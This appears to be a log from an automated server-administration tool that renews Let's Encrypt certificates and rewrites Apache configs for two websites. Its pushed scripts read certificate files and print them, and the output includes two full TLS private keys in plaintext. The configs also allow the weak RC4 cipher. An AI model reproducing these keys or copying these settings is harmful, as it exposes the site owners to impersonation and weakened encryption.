    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_secure_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-10 06:01:40: 

PUT: /tmp/pkp386171

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-10 06:01:40: 

chmod 755 /tmp/pkp386171; /tmp/pkp386171; rm /tmp/pkp386171

2026-04-10 06:01:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt	5519
f7:01:91:13:67:7a:17:79:6f:68:70:8f:02:0c:2f:a3

-----BEGIN CERTIFICATE-----
MIIFeDCCBGCgAwIBAgISBnTJ6FSIZwS9Zi9lJid81TSOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDEwMDUwMzA4WhcNMjYwNzA5MDUwMzA3WjAgMR4wHAYDVQQD
ExVzb3NyZXRyZWF0c2NhbmFkYS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDU6DdWHzKNIQbhbO+OzWD8FuInoCidrmBwUkopm5Qf+GdcYWUJfAwf
TlRLdEej8tMKQdKtOjurVQHk7pVIEFT9w8DzyS8YFe640Yh+ICN3HsnHaqNdw8Rq
OubCrucbUpQYuvLiWKASWlwVGNd8pWhaPy8HSHDjEeexCeIh7Uob3nX0OABQ3nOp
eTtGRtejUMSsvEeiKCmDqbKDS6VAHA1NWJmeFb5YHWFBmy9avinNPbP/RyK+0rIR
u1Ypx5+jT2vzZhg0cOIz5CY4hm/U0498HjTtyyjOCbw4vFhal5VyvVryBvW0b6sR
tue8r5nocz3gxJywBw4ctTWq6kzFxZ7rAgMBAAGjggKXMIICkzAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUAZf+rWSzW0dD2Auqk0wVp9ZaifYwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94
yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEz
LmkubGVuY3Iub3JnLzCBkQYDVR0RBIGJMIGGgg5zb3NyZXRyZWF0cy5jYYIUc29z
cmV0cmVhdHNjYW5hZGEuY2GCFXNvc3JldHJlYXRzY2FuYWRhLmNvbYISd3d3LnNv
c3JldHJlYXRzLmNhghh3d3cuc29zcmV0cmVhdHNjYW5hZGEuY2GCGXd3dy5zb3Ny
ZXRyZWF0c2NhbmFkYS5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xNS5jcmwwggEOBgorBgEE
AdZ5AgQCBIH/BIH8APoAdwCUTkOH+uzB74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z
2AAAAZ11+1MYAAAEAwBIMEYCIQDZw9TmiiKuc/bcyXlkmgYaXImd/+RIr4XiLz5m
c/uZiwIhAL/k8YSV5xGR5tYC1TGG+iR2PKd2vbfhb9iMyVHm7aYeAH8AqCbL4wrG
NRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScAAAGddftTwgAIAAAFAAZOz58EAwBI
MEYCIQDCxMF1g+ECrXOErozjEOaqPoRi35RY3UTOLlh5Aub8fgIhALMPY3lO3pix
39DW67Xerdf6wopp5t4enoqu6O6SWNuTMA0GCSqGSIb3DQEBCwUAA4IBAQA46rb+
TRfY8rjU3hCvC69XPGhoGcBc+l0h75f2e4Mj4jZ0hSiUpqjkKJ2AxWTXDOGS2zMl
M0kTxPTZMVg9RWLZ531EYNqAXZroESablXq2rHL774WZ2iq5VtDlLpMPd0g1ISOx
Lh+y/DRb2CCTEWLT7Grkgid3LNEH88faps0dTiCHHNwr3Xr5GSkECl6Wb2sBnSeH
nW5vm4xvBEF0ifq+zw8n4M143AIInv9xTGvfcM/Hi+Ze6IKl5DVH+U1nPpR09bTi
eaqEoufMWZtGpLRQRHzNqCr8xktkSMlDe/c145FqKvS3wyCjThnCOpq1uLxDj3f6
qG7ZCciEkqzG3i32
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDU6DdWHzKNIQbh
bO+OzWD8FuInoCidrmBwUkopm5Qf+GdcYWUJfAwfTlRLdEej8tMKQdKtOjurVQHk
7pVIEFT9w8DzyS8YFe640Yh+ICN3HsnHaqNdw8RqOubCrucbUpQYuvLiWKASWlwV
GNd8pWhaPy8HSHDjEeexCeIh7Uob3nX0OABQ3nOpeTtGRtejUMSsvEeiKCmDqbKD
S6VAHA1NWJmeFb5YHWFBmy9avinNPbP/RyK+0rIRu1Ypx5+jT2vzZhg0cOIz5CY4
hm/U0498HjTtyyjOCbw4vFhal5VyvVryBvW0b6sRtue8r5nocz3gxJywBw4ctTWq
6kzFxZ7rAgMBAAECggEAXjHbAaRN1jitdaCfoBtndECfkA6Aybpzel4954iokThy
amHAtOCH8HXUP4nThEqTai9TCUcBTT0P2Hxh2X84SwmHXZQ93LcfZe92Ju8LIdGi
TjL00jAhvyoOHEYLg4AWe5aCjPfO4i/OG5thAwmfUIYxxVQcdanfSulnfcEhD5Cf
FwavaDeg7v0lln4cAT3CjdrhnV30WBszxHroOXXj1cTFJP27X80tsGW+Z1HFQ4kH
7G0YQ/OXFP9Cp8d+DIkecqOWYKVKeAaV2ETQ4CdsyGu4SAE+VdbDaTJzksFK3XN3
K5Onj4q18at9ToAYmMD03kBqDshWNHGDnMog/tMywQKBgQDuzl2xyGrSNNdPvmIT
iibMmyO2kjyAldllcqlvWPVLlDaekZnojIj8CZrwS9E/ba5zlwNg8kIo/7oibcv0
+bBH4Q+dfnx3oLmqW6rNGwP2aBbDoYzWIyAssSXE4IIlAKkREA5k2/cwTigQ0NU4
UtjHMYQhhFxfPCcdkpWDVC3QCwKBgQDkPHvXHsRWE3eq7C+mbezq4+kKMgN3OHV+
qS+TdjVbgvg6g7aN52d1sFQ9SHjXyQnQL255mB73YENMw7UNjqNul2jqFD5k9zDA
7yMfqHEA4ihnfbnZFMyJhHI8zLmzBze23mxXN10NUuCG0t83+6LxYYAQzff/7inG
/PjZ7ZZYoQKBgCX7vPtiHVuB/B068u6YssMoie2oJOdu7j0sl7aWN63lzSo7jndm
owMzo+lEpeuozm6kPm1VGyDaTAjd3esBLADC03EBhVqhveZS3j/xZBf1RmmncHc+
7wcsxg0iiJDKIhoMq71vH0oXpFfIX6Gty70jKxkJrIeZUb9qaU2SPhcxAoGAUM5F
PjWLZ7o+vQogGLmEjukgIdbxOS2JE84MpRXN8FdfUUA+yuDp1VYXjRbyiduImOei
InTESesQCMalfGZK4KXEpFOEf7Sw0y4Xbmbxk1F+4p01xnDBtdJpq7MD8CmXBSyc
iQh17niwO6u/EhAKcZGGiOyTaE5HBkecR3QBreECgYBunxZUu8DV1vat0iMWXcEa
Mo/7swT8C/drKtEZgsvS2dyBgESIT6mTI79k4gU/wFeo4K63J2PFZZPU29/cWwwn
p+7KmZH5iT+2dJZGq2rjum/5SJc0rvy6rvYds9s9buGlO9BcPzuVxTxGshduc8Rw
Y0zrwt4eqds9ZhEVfoL2Ew==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-11 06:00:02: Establishing a connection
2026-04-11 06:00:03: Establishing a connection
2026-04-11 06:00:03: 

PUT: /tmp/pkp698099

#!/bin/bash
if [ -d "/var/www/theyoungdesigners_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-11 06:00:04: 

chmod 755 /tmp/pkp698099; /tmp/pkp698099; rm /tmp/pkp698099

2026-04-11 06:00:04: 


1


2026-04-11 06:00:05: Establishing a connection
2026-04-11 06:00:06: 

PUT: /tmp/pkp442190

#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
cat > Dpc5AJiYH0nMfH7LfpfERp-3E8g8fliE6-alF15scPE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Dpc5AJiYH0nMfH7LfpfERp-3E8g8fliE6-alF15scPE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Dpc5AJiYH0nMfH7LfpfERp-3E8g8fliE6-alF15scPE
cat > WMVog-9soiDJBBPM7Ot0wgcDcnVMLb7pQwkbEHy0Tok <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
WMVog-9soiDJBBPM7Ot0wgcDcnVMLb7pQwkbEHy0Tok.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 WMVog-9soiDJBBPM7Ot0wgcDcnVMLb7pQwkbEHy0Tok


2026-04-11 06:00:06: 

chmod 755 /tmp/pkp442190; /tmp/pkp442190; rm /tmp/pkp442190

2026-04-11 06:00:06: 




2026-04-11 06:00:12: Establishing a connection
2026-04-11 06:00:12: 

PUT: /tmp/pkp666037

#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
rm Dpc5AJiYH0nMfH7LfpfERp-3E8g8fliE6-alF15scPE
rm WMVog-9soiDJBBPM7Ot0wgcDcnVMLb7pQwkbEHy0Tok


2026-04-11 06:00:12: 

chmod 755 /tmp/pkp666037; /tmp/pkp666037; rm /tmp/pkp666037

2026-04-11 06:00:12: 




2026-04-11 06:00:12: Establishing a connection
2026-04-11 06:00:12: 

PUT: /tmp/pkp781183

#!/bin/bash
temp_file=$(mktemp)
TARGET=f13c10b0bf992120e8f0bf3f4c84b2c5.crt

cat > $temp_file <<'endmsg'
35:57:e3:f4:5a:6a:ba:e3:e3:81:c0:19:fb:a1:34:2a

-----BEGIN CERTIFICATE-----
MIIFHDCCBASgAwIBAgISBsyp5DRghTzl+lBTTff/ElmnMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDExMDUwMTQxWhcNMjYwNzEwMDUwMTQwWjAfMR0wGwYDVQQD
ExR0aGV5b3VuZ2Rlc2lnbmVycy51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBALDLl7UiHSjwDbey2dWpniS+FymPJ7tSI/kW3jfWM8teQPMG99BxWEFZ
LDVv5zADALRnEf4mCe9aXfJrkrGSH/yZa4Q2k+4Z1WADpj486gwKI/66uNs38Og+
5cVfPRudlMDQpFU1sieZxzAHUHdWU8anVnYadIiICaYXwqBR/Grk6hA7BOn860UI
zomljaljKWnCll4LyLXYFwy5aHFrpRmErtXk9eEYFJCtgy1oWAUxwKrhJ7+Tl/x2
xiMpy0nqnLtaw73ABOK51hijOIOIY1uwDlgTxzTLaq1GZAmPRY4WVmV0sEUVJDIJ
fch51sc7FLNiQrwT67LZarcJIGj9Hx0CAwEAAaOCAjwwggI4MA4GA1UdDwEB/wQE
AwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQW
BBSkjqgYmyVPxwcL9ZF/zY1eM/OSZjAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jI
soQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMu
aS5sZW5jci5vcmcvMDkGA1UdEQQyMDCCFHRoZXlvdW5nZGVzaWduZXJzLnVzghh3
d3cudGhleW91bmdkZXNpZ25lcnMudXMwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy80MC5jcmwwggEM
BgorBgEEAdZ5AgQCBIH9BIH6APgAdgDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1
rXaa2Q5SzQAAAZ17IFtqAAAEAwBHMEUCIB5DSQMWadi4AzPulVecL1wpWPrv1AAj
ZrFjR6YhTSLVAiEAjiH6mhus7PVSWMaiJRWm5gZ7BrrgQCByMJ2SkjLd9w4AfgAa
i51rD/6/gbR5OcbSMQqG1tEC1PBG4hgsneNfXiYl7wAAAZ17IFy1AAgAAAUACD4z
mgQDAEcwRQIgBqsC5TBhqUMUrXPQvrD+qioF7TtOPa6cEPtx5EMyhnICIQDeX2uP
0txiKz4S+fmPDlw02aOSUAiyoIWCmWUQcux28TANBgkqhkiG9w0BAQsFAAOCAQEA
lO252o+0pouZU91CxbZ/AU0iIJA/DMv2zQzG8lg2et799WksUzwa5k2tXucFfyCu
m37fDMVs/qm2H3gdQJAjlaohM5KjBbAw5oVXTt/7tf34WZCWAOl6/ZrimqtWkWRr
9qb65JguEfAJBCqhESBTFsOche+HZjbgC9S9h5lPcmX1YwjRk5oDVaN3XV0bHUn2
R0D/ID+cfP2WE36oKk7NDk9Jrrlkd1zI6ZesUJ70YJyklie8i/TXnlIigwIJLVfw
HVOnS3v/24EL1Wz6pEHDapYepuMmN3RcMZKhlWS2Ie2ceSb1L6hqOhsDJrygh7gv
VZeMqIXljsI0lkUMXtWpFg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCwy5e1Ih0o8A23
stnVqZ4kvhcpjye7UiP5Ft431jPLXkDzBvfQcVhBWSw1b+cwAwC0ZxH+JgnvWl3y
a5Kxkh/8mWuENpPuGdVgA6Y+POoMCiP+urjbN/DoPuXFXz0bnZTA0KRVNbInmccw
B1B3VlPGp1Z2GnSIiAmmF8KgUfxq5OoQOwTp/OtFCM6JpY2pYylpwpZeC8i12BcM
uWhxa6UZhK7V5PXhGBSQrYMtaFgFMcCq4Se/k5f8dsYjKctJ6py7WsO9wATiudYY
oziDiGNbsA5YE8c0y2qtRmQJj0WOFlZldLBFFSQyCX3IedbHOxSzYkK8E+uy2Wq3
CSBo/R8dAgMBAAECggEAJF1oQdd3wIMqCypEYMzADOY1vPRnc4IYiKSRxlHuuurS
+Loq8IrT4LMvIvm2x7siYrkdrBVWb0966gGC/bflEO/cu+f/Axd4uoRdpkkgyiOu
1jdBjUPjL146pF+r4dmGrqdr2eQO1lLs8/3ZKQbOehrS772O0UOMGogiHhhnD3RY
5r2QOXN4iNBemql7F4oboMWsq+inFPCSChA8P1IVgOqg4vDYtKxhcwWucOxkeJKa
KbjPxA3aUVcIx/lx7ByghCDRkIEG3gmkv+yyQCMDrG8YMxrhjL1qCiEABQ1xwVtl
6e9RTtuUYco4ODDzKXfqJqIEvhHVvMVuanj4hn2u4QKBgQDvkI2HNjOunW4aC8Ag
8vmhKpnr/F+LBC7/YQLoqvds3Glbm6S+EmrQxeFOm0wWnQt++KoB8bzsL1RcPatX
lt4L/LfeapHs0OQ8uj8t/yyBNIiipROMZWDBWOWf2gisWiuR0qakZMNS7ueyXkpF
/Zq2RzkgwiCcNRdZ5eAe2cWRIQKBgQC87KDWz7QZuuVfm3fJSFVVFoIW3B52BM8A
zaiLZX/7qIBr3Kou/siSOJcWxHyKY5EISSUVPLfxFxKtckXWduZTOpKz2RAl5zgL
4bGepK0XaKI8bqWcyTKnBXrtkzHT0RdPbW5ydf9OvcbtrjeI9Jnd8v8ak+qbXxqS
wOgANQMCfQKBgQDfo1Y7r0G39IdgETAekjSvW5GtVz/qCtHE3c9VXKT2HxzLxBSa
y56jntaiBx+UzK56rbAneIAhDF34bimR7ukCz7zmCR6IsMkgV827JsdpJp2XF/uT
yN/2HwLdozENlG+wBbJDLT2aIiRxwswbYpAXMY4HIrJGoNlXttzub+WbgQKBgFXP
SLKo/o2dRSeqzrqe3xtZsNa/PhquznL39nDyNjJQ85uKS8YytVks2PtfXY3h8XMI
/g3qWUXpC/O57pydvrnY5d9IXTxKDDvhVDLRa0kxnlbCjvhqrlYMeCxGaiBiXSsX
ck4M6FyUeDFmqxTKvMSB5Xrl6m6NwN0dP4MwkOBlAoGBAKsjYC5yJpKLLw1TTinq
lRhLNP40qzM/FXBBG1LH5vDT/aNu0UnUc78pHxeSZjvOLvXV2Z0tAs+/w7MdXAMv
nD4eaUXztkmSs2bGW0Tmp6dXTL0VzjRkmWNhgNsYYtq+Vpr+Ndb1bNd+cC26Xm0x
dSZNI5H2HnlunxnFnUb3z2AF
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-11 06:00:12: 

chmod 755 /tmp/pkp781183; /tmp/pkp781183; rm /tmp/pkp781183

2026-04-11 06:00:12: 


dir=/etc/ssl/certs


2026-04-11 06:00:12: 

PUT: /tmp/pkp419057

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-11 06:00:12: 

chmod 755 /tmp/pkp419057; /tmp/pkp419057; rm /tmp/pkp419057

2026-04-11 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf 48

<VirtualHost *:80>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-11 06:00:12: 

PUT: /tmp/pkp696407

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_www_us.conf
TARGET=/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
